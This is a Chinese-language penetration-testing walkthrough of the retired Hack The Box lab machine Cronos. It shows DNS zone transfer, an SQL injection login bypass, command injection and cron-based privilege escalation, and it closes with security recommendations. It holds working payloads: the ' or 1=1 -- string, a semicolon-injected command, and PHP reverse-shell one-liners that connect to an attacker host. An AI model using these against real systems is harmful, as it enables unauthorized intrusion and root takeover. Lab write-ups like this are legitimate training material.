HTB: Cronos渗透测试
字数 1027 2025-08-14 12:04:09
Cronos渗透测试实战教学文档
1. 靶机概述
Cronos是Hack The Box平台上一台已退役的Linux靶机,难度等级为中等。该靶机模拟了真实环境中的Web应用和系统配置漏洞,涉及DNS枚举、SQL注入、命令注入和定时任务提权等技术点。
2. 环境准备
- 攻击机:Kali Linux
- 靶机IP:10.129.30.241 (原HTB地址可能不同)
- 工具准备:
- nmap
- dig
- netcat
- LinEnum.sh
3. 信息收集阶段
3.1 端口扫描
使用nmap进行全面扫描:
nmap -sV -A -O -T4 10.129.30.241
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
关键发现:
- 53端口运行DNS服务(BIND 9.10.3-P4)
- 80端口运行Apache 2.4.18
- 系统为Ubuntu
3.2 DNS枚举
- 将域名添加到hosts文件:
echo "10.129.30.241 cronos.htb" >> /etc/hosts
- 使用dig进行DNS区域传输尝试:
dig axfr @10.129.30.241 cronos.htb
- 发现子域名:
admin.cronos.htb
www.cronos.htb
4. 漏洞利用阶段
4.1 Web应用测试
访问http://admin.cronos.htb发现登录页面
4.2 SQL注入绕过认证
在登录表单尝试SQL注入:
用户名: ' or 1=1 --
密码: 任意
成功绕过认证进入后台
4.3 命令注入
在后台发现可执行命令的功能,测试命令注入:
8.8.8.8;ls
确认存在命令注入漏洞后,建立反向shell:
php -r '$sock=fsockopen("攻击机IP",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
在攻击机监听:
nc -lvnp 4242
4.4 获取交互式shell
在获得的简单shell中升级为完全交互式TTY:
python -c 'import pty;pty.spawn("/bin/bash")'
5. 权限提升阶段
5.1 初步枚举
- 查看用户文件:
cd /home
ls
cat user.txt
- 使用LinEnum.sh进行系统枚举:
./LinEnum.sh
5.2 发现定时任务
枚举发现存在定时任务执行/var/www/laravel/artisan
5.3 利用定时任务提权
- 检查artisan文件权限:
ls -la /var/www/laravel/artisan
- 发现当前用户有写权限,修改artisan内容:
echo '<?php $sock = fsockopen("攻击机IP",1234);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>' > /var/www/laravel/artisan
- 在攻击机监听新端口:
nc -lvnp 1234
- 等待定时任务执行,获得root权限shell
5.4 获取root flag
cd /root
cat root.txt
6. 技术要点总结
- DNS枚举:通过区域传输获取子域名信息
- SQL注入:使用经典' or 1=1 --绕过认证
- 命令注入:在可执行命令处注入分号执行额外命令
- 定时任务提权:利用可写的定时任务脚本获取root权限
- 反向shell技巧:使用PHP建立反向连接
7. 安全建议
- 对用户输入进行严格过滤
- 避免使用动态命令执行函数
- 为定时任务设置最小权限原则
- 定期更新DNS服务(BIND)
- 对敏感文件设置适当的权限控制
通过本案例可以学习到从信息收集到权限提升的完整渗透测试流程,特别是DNS枚举与定时任务提权等技术的实际应用。